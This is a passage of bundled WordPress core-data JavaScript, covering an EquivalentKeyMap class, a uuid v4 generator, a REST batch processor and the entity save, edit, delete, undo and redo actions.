910 if (iterable instanceof EquivalentKeyMap) {
911 // Map#forEach is only means of iterating with support for IE11.
912 var iterablePairs = [];
913 iterable.forEach(function (value, key) {
914 iterablePairs.push([key, value]);
915 });
916 iterable = iterablePairs;
917 }
918
919 if (iterable != null) {
920 for (var i = 0; i < iterable.length; i++) {
921 this.set(iterable[i][0], iterable[i][1]);
922 }
923 }
924 }
925 /**
926 * Accessor property returning the number of elements.
927 *
928 * @return {number} Number of elements.
929 */
930
931
932 _createClass(EquivalentKeyMap, [{
933 key: "set",
934
935 /**
936 * Add or update an element with a specified key and value.
937 *
938 * @param {*} key The key of the element to add.
939 * @param {*} value The value of the element to add.
940 *
941 * @return {EquivalentKeyMap} Map instance.
942 */
943 value: function set(key, value) {
944 // Shortcut non-object-like to set on internal Map.
945 if (key === null || _typeof(key) !== 'object') {
946 this._map.set(key, value);
947
948 return this;
949 } // Sort keys to ensure stable assignment into tree.
950
951
952 var properties = Object.keys(key).sort();
953 var valuePair = [key, value]; // Tree by type to avoid conflicts on numeric object keys, empty value.
954
955 var map = Array.isArray(key) ? this._arrayTreeMap : this._objectTreeMap;
956
957 for (var i = 0; i < properties.length; i++) {
958 var property = properties[i];
959
960 if (!map.has(property)) {
961 map.set(property, new EquivalentKeyMap());
962 }
963
964 map = map.get(property);
965 var propertyValue = key[property];
966
967 if (!map.has(propertyValue)) {
968 map.set(propertyValue, new EquivalentKeyMap());
969 }
970
971 map = map.get(propertyValue);
972 } // If an _ekm_value exists, there was already an equivalent key. Before
973 // overriding, ensure that the old key reference is removed from map to
974 // avoid memory leak of accumulating equivalent keys. This is, in a
975 // sense, a poor man's WeakMap, while still enabling iterability.
976
977
978 var previousValuePair = map.get('_ekm_value');
979
980 if (previousValuePair) {
981 this._map.delete(previousValuePair[0]);
982 }
983
984 map.set('_ekm_value', valuePair);
985
986 this._map.set(key, valuePair);
987
988 return this;
989 }
990 /**
991 * Returns a specified element.
992 *
993 * @param {*} key The key of the element to return.
994 *
995 * @return {?*} The element associated with the specified key or undefined
996 * if the key can't be found.
997 */
998
999 }, {
1000 key: "get",
1001 value: function get(key) {
1002 // Shortcut non-object-like to get from internal Map.
1003 if (key === null || _typeof(key) !== 'object') {
1004 return this._map.get(key);
1005 }
1006
1007 var valuePair = getValuePair(this, key);
1008
1009 if (valuePair) {
1010 return valuePair[1];
1011 }
1012 }
1013 /**
1014 * Returns a boolean indicating whether an element with the specified key
1015 * exists or not.
1016 *
1017 * @param {*} key The key of the element to test for presence.
1018 *
1019 * @return {boolean} Whether an element with the specified key exists.
1020 */
1021
1022 }, {
1023 key: "has",
1024 value: function has(key) {
1025 if (key === null || _typeof(key) !== 'object') {
1026 return this._map.has(key);
1027 } // Test on the _presence_ of the pair, not its value, as even undefined
1028 // can be a valid member value for a key.
1029
1030
1031 return getValuePair(this, key) !== undefined;
1032 }
1033 /**
1034 * Removes the specified element.
1035 *
1036 * @param {*} key The key of the element to remove.
1037 *
1038 * @return {boolean} Returns true if an element existed and has been
1039 * removed, or false if the element does not exist.
1040 */
1041
1042 }, {
1043 key: "delete",
1044 value: function _delete(key) {
1045 if (!this.has(key)) {
1046 return false;
1047 } // This naive implementation will leave orphaned child trees. A better
1048 // implementation should traverse and remove orphans.
1049
1050
1051 this.set(key, undefined);
1052 return true;
1053 }
1054 /**
1055 * Executes a provided function once per each key/value pair, in insertion
1056 * order.
1057 *
1058 * @param {Function} callback Function to execute for each element.
1059 * @param {*} thisArg Value to use as `this` when executing
1060 * `callback`.
1061 */
1062
1063 }, {
1064 key: "forEach",
1065 value: function forEach(callback) {
1066 var _this = this;
1067
1068 var thisArg = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this;
1069
1070 this._map.forEach(function (value, key) {
1071 // Unwrap value from object-like value pair.
1072 if (key !== null && _typeof(key) === 'object') {
1073 value = value[1];
1074 }
1075
1076 callback.call(thisArg, value, key, _this);
1077 });
1078 }
1079 /**
1080 * Removes all elements.
1081 */
1082
1083 }, {
1084 key: "clear",
1085 value: function clear() {
1086 this._map = new Map();
1087 this._arrayTreeMap = new Map();
1088 this._objectTreeMap = new Map();
1089 }
1090 }, {
1091 key: "size",
1092 get: function get() {
1093 return this._map.size;
1094 }
1095 }]);
1096
1097 return EquivalentKeyMap;
1098}();
1099
1100module.exports = EquivalentKeyMap;
1101
1102
1103/***/ }),
1104
1105/***/ 3377:
1106/***/ (() => {
1107
1108
1109
1110/***/ }),
1111
1112/***/ 3440:
1113/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
1114
1115"use strict";
1116// ESM COMPAT FLAG
1117__webpack_require__.r(__webpack_exports__);
1118
1119// EXPORTS
1120__webpack_require__.d(__webpack_exports__, {
1121 __experimentalBatch: () => (/* binding */ __experimentalBatch),
1122 __experimentalReceiveCurrentGlobalStylesId: () => (/* binding */ __experimentalReceiveCurrentGlobalStylesId),
1123 __experimentalReceiveThemeBaseGlobalStyles: () => (/* binding */ __experimentalReceiveThemeBaseGlobalStyles),
1124 __experimentalReceiveThemeGlobalStyleVariations: () => (/* binding */ __experimentalReceiveThemeGlobalStyleVariations),
1125 __experimentalSaveSpecifiedEntityEdits: () => (/* binding */ __experimentalSaveSpecifiedEntityEdits),
1126 __unstableCreateUndoLevel: () => (/* binding */ __unstableCreateUndoLevel),
1127 addEntities: () => (/* binding */ addEntities),
1128 deleteEntityRecord: () => (/* binding */ deleteEntityRecord),
1129 editEntityRecord: () => (/* binding */ editEntityRecord),
1130 receiveAutosaves: () => (/* binding */ receiveAutosaves),
1131 receiveCurrentTheme: () => (/* binding */ receiveCurrentTheme),
1132 receiveCurrentUser: () => (/* binding */ receiveCurrentUser),
1133 receiveDefaultTemplateId: () => (/* binding */ receiveDefaultTemplateId),
1134 receiveEmbedPreview: () => (/* binding */ receiveEmbedPreview),
1135 receiveEntityRecords: () => (/* binding */ receiveEntityRecords),
1136 receiveNavigationFallbackId: () => (/* binding */ receiveNavigationFallbackId),
1137 receiveRevisions: () => (/* binding */ receiveRevisions),
1138 receiveThemeGlobalStyleRevisions: () => (/* binding */ receiveThemeGlobalStyleRevisions),
1139 receiveThemeSupports: () => (/* binding */ receiveThemeSupports),
1140 receiveUploadPermissions: () => (/* binding */ receiveUploadPermissions),
1141 receiveUserPermission: () => (/* binding */ receiveUserPermission),
1142 receiveUserPermissions: () => (/* binding */ receiveUserPermissions),
1143 receiveUserQuery: () => (/* binding */ receiveUserQuery),
1144 redo: () => (/* binding */ redo),
1145 saveEditedEntityRecord: () => (/* binding */ saveEditedEntityRecord),
1146 saveEntityRecord: () => (/* binding */ saveEntityRecord),
1147 undo: () => (/* binding */ undo)
1148});
1149
1150// EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js
1151var es6 = __webpack_require__(7734);
1152var es6_default = /*#__PURE__*/__webpack_require__.n(es6);
1153;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/native.js
1154const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto);
1155/* harmony default export */ const esm_browser_native = ({
1156 randomUUID
1157});
1158;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/rng.js
1159// Unique ID creation requires a high quality random # generator. In the browser we therefore
1160// require the crypto API and do not support built-in fallback to lower quality random number
1161// generators (like Math.random()).
1162let getRandomValues;
1163const rnds8 = new Uint8Array(16);
1164function rng() {
1165 // lazy load so that environments that need to polyfill have a chance to do so
1166 if (!getRandomValues) {
1167 // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation.
1168 getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
1169
1170 if (!getRandomValues) {
1171 throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported');
1172 }
1173 }
1174
1175 return getRandomValues(rnds8);
1176}
1177;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/stringify.js
1178
1179/**
1180 * Convert array of 16 byte values to UUID string format of the form:
1181 * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
1182 */
1183
1184const byteToHex = [];
1185
1186for (let i = 0; i < 256; ++i) {
1187 byteToHex.push((i + 0x100).toString(16).slice(1));
1188}
1189
1190function unsafeStringify(arr, offset = 0) {
1191 // Note: Be careful editing this code! It's been tuned for performance
1192 // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434
1193 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
1194}
1195
1196function stringify(arr, offset = 0) {
1197 const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID. If this throws, it's likely due to one
1198 // of the following:
1199 // - One or more input array values don't map to a hex octet (leading to
1200 // "undefined" in the uuid)
1201 // - Invalid input values for the RFC `version` or `variant` fields
1202
1203 if (!validate(uuid)) {
1204 throw TypeError('Stringified UUID is invalid');
1205 }
1206
1207 return uuid;
1208}
1209
1210/* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify)));
1211;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/v4.js
1212
1213
1214
1215
1216function v4(options, buf, offset) {
1217 if (esm_browser_native.randomUUID && !buf && !options) {
1218 return esm_browser_native.randomUUID();
1219 }
1220
1221 options = options || {};
1222 const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`
1223
1224 rnds[6] = rnds[6] & 0x0f | 0x40;
1225 rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided
1226
1227 if (buf) {
1228 offset = offset || 0;
1229
1230 for (let i = 0; i < 16; ++i) {
1231 buf[offset + i] = rnds[i];
1232 }
1233
1234 return buf;
1235 }
1236
1237 return unsafeStringify(rnds);
1238}
1239
1240/* harmony default export */ const esm_browser_v4 = (v4);
1241// EXTERNAL MODULE: external ["wp","apiFetch"]
1242var external_wp_apiFetch_ = __webpack_require__(1455);
1243var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_);
1244// EXTERNAL MODULE: external ["wp","url"]
1245var external_wp_url_ = __webpack_require__(3832);
1246// EXTERNAL MODULE: external ["wp","deprecated"]
1247var external_wp_deprecated_ = __webpack_require__(4040);
1248var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_);
1249// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/set-nested-value.js
1250var set_nested_value = __webpack_require__(5003);
1251;// ./node_modules/@wordpress/core-data/build-module/utils/get-nested-value.js
1252function getNestedValue(object, path, defaultValue) {
1253 if (!object || typeof object !== "object" || typeof path !== "string" && !Array.isArray(path)) {
1254 return object;
1255 }
1256 const normalizedPath = Array.isArray(path) ? path : path.split(".");
1257 let value = object;
1258 normalizedPath.forEach((fieldName) => {
1259 value = value?.[fieldName];
1260 });
1261 return value !== void 0 ? value : defaultValue;
1262}
1263
1264
1265;// ./node_modules/@wordpress/core-data/build-module/queried-data/actions.js
1266function receiveItems(items, edits, meta) {
1267 return {
1268 type: "RECEIVE_ITEMS",
1269 items: Array.isArray(items) ? items : [items],
1270 persistedEdits: edits,
1271 meta
1272 };
1273}
1274function removeItems(kind, name, records, invalidateCache = false) {
1275 return {
1276 type: "REMOVE_ITEMS",
1277 itemIds: Array.isArray(records) ? records : [records],
1278 kind,
1279 name,
1280 invalidateCache
1281 };
1282}
1283function receiveQueriedItems(items, query = {}, edits, meta) {
1284 return {
1285 ...receiveItems(items, edits, meta),
1286 query
1287 };
1288}
1289
1290
1291// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/entities.js + 2 modules
1292var entities = __webpack_require__(5914);
1293;// ./node_modules/@wordpress/core-data/build-module/batch/default-processor.js
1294
1295let maxItems = null;
1296function chunk(arr, chunkSize) {
1297 const tmp = [...arr];
1298 const cache = [];
1299 while (tmp.length) {
1300 cache.push(tmp.splice(0, chunkSize));
1301 }
1302 return cache;
1303}
1304async function defaultProcessor(requests) {
1305 if (maxItems === null) {
1306 const preflightResponse = await external_wp_apiFetch_default()({
1307 path: "/batch/v1",
1308 method: "OPTIONS"
1309 });
1310 maxItems = preflightResponse.endpoints[0].args.requests.maxItems;
1311 }
1312 const results = [];
1313 for (const batchRequests of chunk(requests, maxItems)) {
1314 const batchResponse = await external_wp_apiFetch_default()({
1315 path: "/batch/v1",
1316 method: "POST",
1317 data: {
1318 validation: "require-all-validate",
1319 requests: batchRequests.map((request) => ({
1320 path: request.path,
1321 body: request.data,
1322 // Rename 'data' to 'body'.
1323 method: request.method,
1324 headers: request.headers
1325 }))
1326 }
1327 });
1328 let batchResults;
1329 if (batchResponse.failed) {
1330 batchResults = batchResponse.responses.map((response) => ({
1331 error: response?.body
1332 }));
1333 } else {
1334 batchResults = batchResponse.responses.map((response) => {
1335 const result = {};
1336 if (response.status >= 200 && response.status < 300) {
1337 result.output = response.body;
1338 } else {
1339 result.error = response.body;
1340 }
1341 return result;
1342 });
1343 }
1344 results.push(...batchResults);
1345 }
1346 return results;
1347}
1348
1349
1350;// ./node_modules/@wordpress/core-data/build-module/batch/create-batch.js
1351
1352function createBatch(processor = defaultProcessor) {
1353 let lastId = 0;
1354 let queue = [];
1355 const pending = new ObservableSet();
1356 return {
1357 /**
1358 * Adds an input to the batch and returns a promise that is resolved or
1359 * rejected when the input is processed by `batch.run()`.
1360 *
1361 * You may also pass a thunk which allows inputs to be added
1362 * asynchronously.
1363 *
1364 * ```
1365 * // Both are allowed:
1366 * batch.add( { path: '/v1/books', ... } );
1367 * batch.add( ( add ) => add( { path: '/v1/books', ... } ) );
1368 * ```
1369 *
1370 * If a thunk is passed, `batch.run()` will pause until either:
1371 *
1372 * - The thunk calls its `add` argument, or;
1373 * - The thunk returns a promise and that promise resolves, or;
1374 * - The thunk returns a non-promise.
1375 *
1376 * @param {any|Function} inputOrThunk Input to add or thunk to execute.
1377 *
1378 * @return {Promise|any} If given an input, returns a promise that
1379 * is resolved or rejected when the batch is
1380 * processed. If given a thunk, returns the return
1381 * value of that thunk.
1382 */
1383 add(inputOrThunk) {
1384 const id = ++lastId;
1385 pending.add(id);
1386 const add = (input) => new Promise((resolve, reject) => {
1387 queue.push({
1388 input,
1389 resolve,
1390 reject
1391 });
1392 pending.delete(id);
1393 });
1394 if (typeof inputOrThunk === "function") {
1395 return Promise.resolve(inputOrThunk(add)).finally(() => {
1396 pending.delete(id);
1397 });
1398 }
1399 return add(inputOrThunk);
1400 },
1401 /**
1402 * Runs the batch. This calls `batchProcessor` and resolves or rejects
1403 * all promises returned by `add()`.
1404 *
1405 * @return {Promise<boolean>} A promise that resolves to a boolean that is true
1406 * if the processor returned no errors.
1407 */
1408 async run() {
1409 if (pending.size) {
1410 await new Promise((resolve) => {
1411 const unsubscribe = pending.subscribe(() => {
1412 if (!pending.size) {
1413 unsubscribe();
1414 resolve(void 0);
1415 }
1416 });
1417 });
1418 }
1419 let results;
1420 try {
1421 results = await processor(
1422 queue.map(({ input }) => input)
1423 );
1424 if (results.length !== queue.length) {
1425 throw new Error(
1426 "run: Array returned by processor must be same size as input array."
1427 );
1428 }
1429 } catch (error) {
1430 for (const { reject } of queue) {
1431 reject(error);
1432 }
1433 throw error;
1434 }
1435 let isSuccess = true;
1436 results.forEach((result, key) => {
1437 const queueItem = queue[key];
1438 if (result?.error) {
1439 queueItem?.reject(result.error);
1440 isSuccess = false;
1441 } else {
1442 queueItem?.resolve(result?.output ?? result);
1443 }
1444 });
1445 queue = [];
1446 return isSuccess;
1447 }
1448 };
1449}
1450class ObservableSet {
1451 constructor(...args) {
1452 this.set = new Set(...args);
1453 this.subscribers = /* @__PURE__ */ new Set();
1454 }
1455 get size() {
1456 return this.set.size;
1457 }
1458 add(value) {
1459 this.set.add(value);
1460 this.subscribers.forEach((subscriber) => subscriber());
1461 return this;
1462 }
1463 delete(value) {
1464 const isSuccess = this.set.delete(value);
1465 this.subscribers.forEach((subscriber) => subscriber());
1466 return isSuccess;
1467 }
1468 subscribe(subscriber) {
1469 this.subscribers.add(subscriber);
1470 return () => {
1471 this.subscribers.delete(subscriber);
1472 };
1473 }
1474}
1475
1476
1477// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/name.js
1478var build_module_name = __webpack_require__(2278);
1479// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/log-entity-deprecation.js
1480var log_entity_deprecation = __webpack_require__(9410);
1481;// ./node_modules/@wordpress/core-data/build-module/actions.js
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494function receiveUserQuery(queryID, users) {
1495 return {
1496 type: "RECEIVE_USER_QUERY",
1497 users: Array.isArray(users) ? users : [users],
1498 queryID
1499 };
1500}
1501function receiveCurrentUser(currentUser) {
1502 return {
1503 type: "RECEIVE_CURRENT_USER",
1504 currentUser
1505 };
1506}
1507function addEntities(entities) {
1508 return {
1509 type: "ADD_ENTITIES",
1510 entities
1511 };
1512}
1513function receiveEntityRecords(kind, name, records, query, invalidateCache = false, edits, meta) {
1514 if (kind === "postType") {
1515 records = (Array.isArray(records) ? records : [records]).map(
1516 (record) => record.status === "auto-draft" ? { ...record, title: "" } : record
1517 );
1518 }
1519 let action;
1520 if (query) {
1521 action = receiveQueriedItems(records, query, edits, meta);
1522 } else {
1523 action = receiveItems(records, edits, meta);
1524 }
1525 return {
1526 ...action,
1527 kind,
1528 name,
1529 invalidateCache
1530 };
1531}
1532function receiveCurrentTheme(currentTheme) {
1533 return {
1534 type: "RECEIVE_CURRENT_THEME",
1535 currentTheme
1536 };
1537}
1538function __experimentalReceiveCurrentGlobalStylesId(currentGlobalStylesId) {
1539 return {
1540 type: "RECEIVE_CURRENT_GLOBAL_STYLES_ID",
1541 id: currentGlobalStylesId
1542 };
1543}
1544function __experimentalReceiveThemeBaseGlobalStyles(stylesheet, globalStyles) {
1545 return {
1546 type: "RECEIVE_THEME_GLOBAL_STYLES",
1547 stylesheet,
1548 globalStyles
1549 };
1550}
1551function __experimentalReceiveThemeGlobalStyleVariations(stylesheet, variations) {
1552 return {
1553 type: "RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS",
1554 stylesheet,
1555 variations
1556 };
1557}
1558function receiveThemeSupports() {
1559 external_wp_deprecated_default()("wp.data.dispatch( 'core' ).receiveThemeSupports", {
1560 since: "5.9"
1561 });
1562 return {
1563 type: "DO_NOTHING"
1564 };
1565}
1566function receiveThemeGlobalStyleRevisions(currentId, revisions) {
1567 external_wp_deprecated_default()(
1568 "wp.data.dispatch( 'core' ).receiveThemeGlobalStyleRevisions()",
1569 {
1570 since: "6.5.0",
1571 alternative: "wp.data.dispatch( 'core' ).receiveRevisions"
1572 }
1573 );
1574 return {
1575 type: "RECEIVE_THEME_GLOBAL_STYLE_REVISIONS",
1576 currentId,
1577 revisions
1578 };
1579}
1580function receiveEmbedPreview(url, preview) {
1581 return {
1582 type: "RECEIVE_EMBED_PREVIEW",
1583 url,
1584 preview
1585 };
1586}
1587const deleteEntityRecord = (kind, name, recordId, query, { __unstableFetch = (external_wp_apiFetch_default()), throwOnError = false } = {}) => async ({ dispatch, resolveSelect }) => {
1588 (0,log_entity_deprecation/* default */.A)(kind, name, "deleteEntityRecord");
1589 const configs = await resolveSelect.getEntitiesConfig(kind);
1590 const entityConfig = configs.find(
1591 (config) => config.kind === kind && config.name === name
1592 );
1593 let error;
1594 let deletedRecord = false;
1595 if (!entityConfig) {
1596 return;
1597 }
1598 const lock = await dispatch.__unstableAcquireStoreLock(
1599 build_module_name/* STORE_NAME */.E,
1600 ["entities", "records", kind, name, recordId],
1601 { exclusive: true }
1602 );
1603 try {
1604 dispatch({
1605 type: "DELETE_ENTITY_RECORD_START",
1606 kind,
1607 name,
1608 recordId
1609 });
1610 let hasError = false;
1611 try {
1612 let path = `${entityConfig.baseURL}/${recordId}`;
1613 if (query) {
1614 path = (0,external_wp_url_.addQueryArgs)(path, query);
1615 }
1616 deletedRecord = await __unstableFetch({
1617 path,
1618 method: "DELETE"
1619 });
1620 await dispatch(removeItems(kind, name, recordId, true));
1621 } catch (_error) {
1622 hasError = true;
1623 error = _error;
1624 }
1625 dispatch({
1626 type: "DELETE_ENTITY_RECORD_FINISH",
1627 kind,
1628 name,
1629 recordId,
1630 error
1631 });
1632 if (hasError && throwOnError) {
1633 throw error;
1634 }
1635 return deletedRecord;
1636 } finally {
1637 dispatch.__unstableReleaseStoreLock(lock);
1638 }
1639};
1640const editEntityRecord = (kind, name, recordId, edits, options = {}) => ({ select, dispatch }) => {
1641 (0,log_entity_deprecation/* default */.A)(kind, name, "editEntityRecord");
1642 const entityConfig = select.getEntityConfig(kind, name);
1643 if (!entityConfig) {
1644 throw new Error(
1645 `The entity being edited (${kind}, ${name}) does not have a loaded config.`
1646 );
1647 }
1648 const { mergedEdits = {} } = entityConfig;
1649 const record = select.getRawEntityRecord(kind, name, recordId);
1650 const editedRecord = select.getEditedEntityRecord(
1651 kind,
1652 name,
1653 recordId
1654 );
1655 const edit = {
1656 kind,
1657 name,
1658 recordId,
1659 // Clear edits when they are equal to their persisted counterparts
1660 // so that the property is not considered dirty.
1661 edits: Object.keys(edits).reduce((acc, key) => {
1662 const recordValue = record[key];
1663 const editedRecordValue = editedRecord[key];
1664 const value = mergedEdits[key] ? { ...editedRecordValue, ...edits[key] } : edits[key];
1665 acc[key] = es6_default()(recordValue, value) ? void 0 : value;
1666 return acc;
1667 }, {})
1668 };
1669 if (window.__experimentalEnableSync && entityConfig.syncConfig) {
1670 if (false) {}
1671 }
1672 if (!options.undoIgnore) {
1673 select.getUndoManager().addRecord(
1674 [
1675 {
1676 id: { kind, name, recordId },
1677 changes: Object.keys(edits).reduce((acc, key) => {
1678 acc[key] = {
1679 from: editedRecord[key],
1680 to: edits[key]
1681 };
1682 return acc;
1683 }, {})
1684 }
1685 ],
1686 options.isCached
1687 );
1688 }
1689 dispatch({
1690 type: "EDIT_ENTITY_RECORD",
1691 ...edit
1692 });
1693};
1694const undo = () => ({ select, dispatch }) => {
1695 const undoRecord = select.getUndoManager().undo();
1696 if (!undoRecord) {
1697 return;
1698 }
1699 dispatch({
1700 type: "UNDO",
1701 record: undoRecord
1702 });
1703};
1704const redo = () => ({ select, dispatch }) => {
1705 const redoRecord = select.getUndoManager().redo();
1706 if (!redoRecord) {
1707 return;
1708 }
1709 dispatch({
1710 type: "REDO",
1711 record: redoRecord
1712 });
1713};
1714const __unstableCreateUndoLevel = () => ({ select }) => {
1715 select.getUndoManager().addRecord();
1716};
1717const saveEntityRecord = (kind, name, record, {
1718 isAutosave = false,
1719 __unstableFetch = (external_wp_apiFetch_default()),
1720 throwOnError = false
1721} = {}) => async ({ select, resolveSelect, dispatch }) => {
1722 (0,log_entity_deprecation/* default */.A)(kind, name, "saveEntityRecord");
1723 const configs = await resolveSelect.getEntitiesConfig(kind);
1724 const entityConfig = configs.find(
1725 (config) => config.kind === kind && config.name === name
1726 );
1727 if (!entityConfig) {
1728 return;
1729 }
1730 const entityIdKey = entityConfig.key ?? entities/* DEFAULT_ENTITY_KEY */.C_;
1731 const recordId = record[entityIdKey];
1732 const isNewRecord = !!entityIdKey && !recordId;
1733 const lock = await dispatch.__unstableAcquireStoreLock(
1734 build_module_name/* STORE_NAME */.E,
1735 ["entities", "records", kind, name, recordId || esm_browser_v4()],
1736 { exclusive: true }
1737 );
1738 try {
1739 for (const [key, value] of Object.entries(record)) {
1740 if (typeof value === "function") {
1741 const evaluatedValue = value(
1742 select.getEditedEntityRecord(kind, name, recordId)
1743 );
1744 dispatch.editEntityRecord(
1745 kind,
1746 name,
1747 recordId,
1748 {
1749 [key]: evaluatedValue
1750 },
1751 { undoIgnore: true }
1752 );
1753 record[key] = evaluatedValue;
1754 }
1755 }
1756 dispatch({
1757 type: "SAVE_ENTITY_RECORD_START",
1758 kind,
1759 name,
1760 recordId,
1761 isAutosave
1762 });
1763 let updatedRecord;
1764 let error;
1765 let hasError = false;
1766 try {
1767 const path = `${entityConfig.baseURL}${recordId ? "/" + recordId : ""}`;
1768 const persistedRecord = !isNewRecord ? select.getRawEntityRecord(kind, name, recordId) : {};
1769 if (isAutosave) {
1770 const currentUser = select.getCurrentUser();
1771 const currentUserId = currentUser ? currentUser.id : void 0;
1772 const autosavePost = await resolveSelect.getAutosave(
1773 persistedRecord.type,
1774 persistedRecord.id,
1775 currentUserId
1776 );
1777 let data = {
1778 ...persistedRecord,
1779 ...autosavePost,
1780 ...record
1781 };
1782 data = Object.keys(data).reduce(
1783 (acc, key) => {
1784 if ([
1785 "title",
1786 "excerpt",
1787 "content",
1788 "meta"
1789 ].includes(key)) {
1790 acc[key] = data[key];
1791 }
1792 return acc;
1793 },
1794 {
1795 // Do not update the `status` if we have edited it when auto saving.
1796 // It's very important to let the user explicitly save this change,
1797 // because it can lead to unexpected results. An example would be to
1798 // have a draft post and change the status to publish.
1799 status: data.status === "auto-draft" ? "draft" : void 0
1800 }
1801 );
1802 updatedRecord = await __unstableFetch({
1803 path: `${path}/autosaves`,
1804 method: "POST",
1805 data
1806 });
1807 if (persistedRecord.id === updatedRecord.id) {
1808 let newRecord = {
1809 ...persistedRecord,
1810 ...data,
1811 ...updatedRecord
1812 };
1813 newRecord = Object.keys(newRecord).reduce(
1814 (acc, key) => {
1815 if (["title", "excerpt", "content"].includes(
1816 key
1817 )) {
1818 acc[key] = newRecord[key];
1819 } else if (key === "status") {
1820 acc[key] = persistedRecord.status === "auto-draft" && newRecord.status === "draft" ? newRecord.status : persistedRecord.status;
1821 } else {
1822 acc[key] = persistedRecord[key];
1823 }
1824 return acc;
1825 },
1826 {}
1827 );
1828 dispatch.receiveEntityRecords(
1829 kind,
1830 name,
1831 newRecord,
1832 void 0,
1833 true
1834 );
1835 } else {
1836 dispatch.receiveAutosaves(
1837 persistedRecord.id,
1838 updatedRecord
1839 );
1840 }
1841 } else {
1842 let edits = record;
1843 if (entityConfig.__unstablePrePersist) {
1844 edits = {
1845 ...edits,
1846 ...entityConfig.__unstablePrePersist(
1847 persistedRecord,
1848 edits
1849 )
1850 };
1851 }
1852 updatedRecord = await __unstableFetch({
1853 path,
1854 method: recordId ? "PUT" : "POST",
1855 data: edits
1856 });
1857 dispatch.receiveEntityRecords(
1858 kind,
1859 name,
1860 updatedRecord,
1861 void 0,
1862 true,
1863 edits
1864 );
1865 }
1866 } catch (_error) {
1867 hasError = true;
1868 error = _error;
1869 }
1870 dispatch({
1871 type: "SAVE_ENTITY_RECORD_FINISH",
1872 kind,
1873 name,
1874 recordId,
1875 error,
1876 isAutosave
1877 });
1878 if (hasError && throwOnError) {
1879 throw error;
1880 }
1881 return updatedRecord;
1882 } finally {
1883 dispatch.__unstableReleaseStoreLock(lock);
1884 }
1885};
1886const __experimentalBatch = (requests) => async ({ dispatch }) => {
1887 const batch = createBatch();
1888 const api = {
1889 saveEntityRecord(kind, name, record, options) {
1890 return batch.add(
1891 (add) => dispatch.saveEntityRecord(kind, name, record, {
1892 ...options,
1893 __unstableFetch: add
1894 })
1895 );
1896 },
1897 saveEditedEntityRecord(kind, name, recordId, options) {
1898 return batch.add(
1899 (add) => dispatch.saveEditedEntityRecord(kind, name, recordId, {
1900 ...options,
1901 __unstableFetch: add
1902 })
1903 );
1904 },
1905 deleteEntityRecord(kind, name, recordId, query, options) {
1906 return batch.add(
1907 (add) => dispatch.deleteEntityRecord(kind, name, recordId, query, {
1908 ...options,
1909 __unstableFetch: add
1910 })
1911 );
1912 }
1913 };
1914 const resultPromises = requests.map((request) => request(api));
1915 const [, ...results] = await Promise.all([
1916 batch.run(),
1917 ...resultPromises
1918 ]);
1919 return results;
1920};
1921const saveEditedEntityRecord = (kind, name, recordId, options) => async ({ select, dispatch, resolveSelect }) => {
1922 (0,log_entity_deprecation/* default */.A)(kind, name, "saveEditedEntityRecord");
1923 if (!select.hasEditsForEntityRecord(kind, name, recordId)) {
1924 return;
1925 }
1926 const configs = await resolveSelect.getEntitiesConfig(kind);
1927 const entityConfig = configs.find(
1928 (config) => config.kind === kind && config.name === name
1929 );
1930 if (!entityConfig) {
1931 return;
1932 }
1933 const entityIdKey = entityConfig.key || entities/* DEFAULT_ENTITY_KEY */.C_;
1934 const edits = select.getEntityRecordNonTransientEdits(
1935 kind,
1936 name,
1937 recordId
1938 );
1939 const record = { [entityIdKey]: recordId, ...edits };
1940 return await dispatch.saveEntityRecord(kind, name, record, options);
1941};
1942const __experimentalSaveSpecifiedEntityEdits = (kind, name, recordId, itemsToSave, options) => async ({ select, dispatch, resolveSelect }) => {
1943 (0,log_entity_deprecation/* default */.A)(
1944 kind,
1945 name,
1946 "__experimentalSaveSpecifiedEntityEdits"
1947 );
1948 if (!select.hasEditsForEntityRecord(kind, name, recordId)) {
1949 return;
1950 }
1951 const edits = select.getEntityRecordNonTransientEdits(
1952 kind,
1953 name,
1954 recordId
1955 );
1956 const editsToSave = {};
1957 for (const item of itemsToSave) {
1958 (0,set_nested_value/* default */.A)(editsToSave, item, getNestedValue(edits, item));
1959 }
1960 const configs = await resolveSelect.getEntitiesConfig(kind);
1961 const entityConfig = configs.find(
1962 (config) => config.kind === kind && config.name === name
1963 );
